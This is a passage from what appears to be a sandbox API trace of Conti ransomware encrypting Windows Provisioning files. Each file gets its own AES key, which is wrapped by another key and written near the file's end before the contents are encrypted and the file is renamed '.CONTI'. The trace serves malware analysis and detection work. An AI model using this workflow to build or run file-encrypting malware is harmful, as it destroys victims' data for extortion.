	[0106.809] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.809] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.809] SetEndOfFile (hFile=0x3ac) returned 1
	[0106.815] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.815] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.815] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.824] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.824] ReadFile (in: hFile=0x3ac, lpBuffer=0xc610000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x10f, lpOverlapped=0x0) returned 1
	[0106.824] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x10f, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x110) returned 1
	[0106.824] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.824] WriteFile (in: hFile=0x3ac, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x110, lpOverlapped=0x0) returned 1
	[0106.825] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.825] WriteFile (in: hFile=0x3ac, lpBuffer=0x17d41e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d41e8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.825] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.825] CloseHandle (hObject=0x3ac) returned 1
	[0106.825] GetProcessHeap () returned 0x1720000
	[0106.825] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.825] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml"
	[0106.825] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.CONTI"
	[0106.825] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\masterdatastore.xml.conti")) returned 1
	[0106.834] GetProcessHeap () returned 0x1720000
	[0106.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.834] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0106.834] GetProcessHeap () returned 0x1720000
	[0106.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0106.834] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.834] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d2690 | out: phKey=0x17d2690*=0x17c7fb0) returned 1
	[0106.835] CryptExportKey (in: hKey=0x17c7fb0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2694, pdwDataLen=0x46fff1c | out: pbData=0x17d2694*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.835] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0106.835] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0106.836] GetLastError () returned 0x0
	[0106.836] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=1635) returned 1
	[0106.836] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x663
	[0106.836] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.836] SetEndOfFile (hFile=0x2e8) returned 1
	[0106.836] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.836] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.836] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d2694*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d2694*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.840] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.840] ReadFile (in: hFile=0x2e8, lpBuffer=0xc610000, nNumberOfBytesToRead=0x663, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x663, lpOverlapped=0x0) returned 1
	[0106.840] CryptEncrypt (in: hKey=0x17c7fb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x663, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x670) returned 1
	[0106.840] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.840] WriteFile (in: hFile=0x2e8, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x670, lpOverlapped=0x0) returned 1
	[0106.842] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.843] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d2688*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.843] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.843] CloseHandle (hObject=0x2e8) returned 1
	[0106.843] GetProcessHeap () returned 0x1720000
	[0106.843] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.843] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.843] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0106.843] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0106.843] GetProcessHeap () returned 0x1720000
	[0106.843] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.844] CryptDestroyKey (hKey=0x17c7fb0) returned 1
	[0106.844] GetProcessHeap () returned 0x1720000
	[0106.844] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e488 | out: hHeap=0x1720000) returned 1
	[0106.844] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.844] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d38d0 | out: phKey=0x17d38d0*=0x17c84f0) returned 1
	[0106.844] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d38d4, pdwDataLen=0x46fff1c | out: pbData=0x17d38d4*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.845] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml")) returned 0x20
	[0106.845] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0106.845] GetLastError () returned 0x0
	[0106.845] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=460) returned 1
	[0106.845] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1cc
	[0106.845] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.845] SetEndOfFile (hFile=0x2e8) returned 1
	[0106.846] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.846] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.846] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d38d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d38d4*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0106.848] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.848] ReadFile (in: hFile=0x2e8, lpBuffer=0xc610000, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x1cc, lpOverlapped=0x0) returned 1
	[0106.848] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1cc, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x1d0) returned 1
	[0106.848] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.848] WriteFile (in: hFile=0x2e8, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x1d0, lpOverlapped=0x0) returned 1
	[0106.848] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.848] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d38c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d38c8*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0106.848] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.848] CloseHandle (hObject=0x2e8) returned 1
	[0106.848] GetProcessHeap () returned 0x1720000
	[0106.848] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.848] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml"
	[0106.848] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.CONTI"
	[0106.849] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\prov\\runtime.xml.conti")) returned 1
	[0106.849] GetProcessHeap () returned 0x1720000
	[0106.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.849] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0106.849] GetProcessHeap () returned 0x1720000
	[0106.849] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510f50 | out: hHeap=0x1720000) returned 1
	[0106.849] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0106.849] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x17d3fa8 | out: phKey=0x17d3fa8*=0x17c7f30) returned 1
	[0106.849] CryptExportKey (in: hKey=0x17c7f30, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3fac, pdwDataLen=0x46fff1c | out: pbData=0x17d3fac*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0106.850] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml")) returned 0x20
	[0106.850] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0106.850] GetLastError () returned 0x0
	[0106.850] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=1659) returned 1
	[0106.850] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x67b
	[0106.850] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.850] SetEndOfFile (hFile=0x2e8) returned 1
	[0106.851] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.851] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.851] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d3fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x46ffed4, lpOverlapped=0x0 | out: lpBuffer=0x17d3fac*, lpNumberOfBytesWritten=0x46ffed4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.454] ReadFile (in: hFile=0x2e8, lpBuffer=0xc610000, nNumberOfBytesToRead=0x67b, lpNumberOfBytesRead=0x46ffef4, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesRead=0x46ffef4*=0x67b, lpOverlapped=0x0) returned 1
	[0107.455] CryptEncrypt (in: hKey=0x17c7f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x67b, dwBufLen=0x500000 | out: pbData=0xc610000*, pdwDataLen=0x46ffeec*=0x680) returned 1
	[0107.455] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.455] WriteFile (in: hFile=0x2e8, lpBuffer=0xc610000*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x46fff08, lpOverlapped=0x0 | out: lpBuffer=0xc610000*, lpNumberOfBytesWritten=0x46fff08*=0x680, lpOverlapped=0x0) returned 1
	[0107.455] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.455] WriteFile (in: hFile=0x2e8, lpBuffer=0x17d3fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x46fff20, lpOverlapped=0x0 | out: lpBuffer=0x17d3fa0*, lpNumberOfBytesWritten=0x46fff20*=0x8, lpOverlapped=0x0) returned 1
	[0107.455] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.455] CloseHandle (hObject=0x2e8) returned 1
	[0107.455] GetProcessHeap () returned 0x1720000
	[0107.455] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.455] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"
	[0107.455] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.CONTI"
	[0107.455] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c5dc3753-b6c8-4057-b396-bf13d769311c}\\customizations.xml.conti")) returned 1
	[0107.456] GetProcessHeap () returned 0x1720000
	[0107.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.456] CryptDestroyKey (hKey=0x17c7f30) returned 1
	[0107.456] GetProcessHeap () returned 0x1720000
	[0107.456] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510398 | out: hHeap=0x1720000) returned 1
	[0107.456] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x46fff44, lpCompletionKey=0x46fff48, lpOverlapped=0x46fff54) returned 1
	[0108.028] CryptGenKey (in: hProv=0x1766528, Algid=0x6610, dwFlags=0x1, phKey=0x6515be8 | out: phKey=0x6515be8*=0x17c82b0) returned 1
	[0108.029] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175de30, dwBlobType=0x1, dwFlags=0x0, pbData=0x6515bec, pdwDataLen=0x46fff1c | out: pbData=0x6515bec*, pdwDataLen=0x46fff1c*=0x20c) returned 1
	[0108.029] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0108.030] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\125__Connections_Cellular_Alands Mobiltelefon Ab (Finland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\125__connections_cellular_alands mobiltelefon ab (finland)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.030] GetLastError () returned 0x0
	[0108.030] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x46ffec8 | out: lpFileSize=0x46ffec8*=724) returned 1
	[0108.030] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0108.030] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
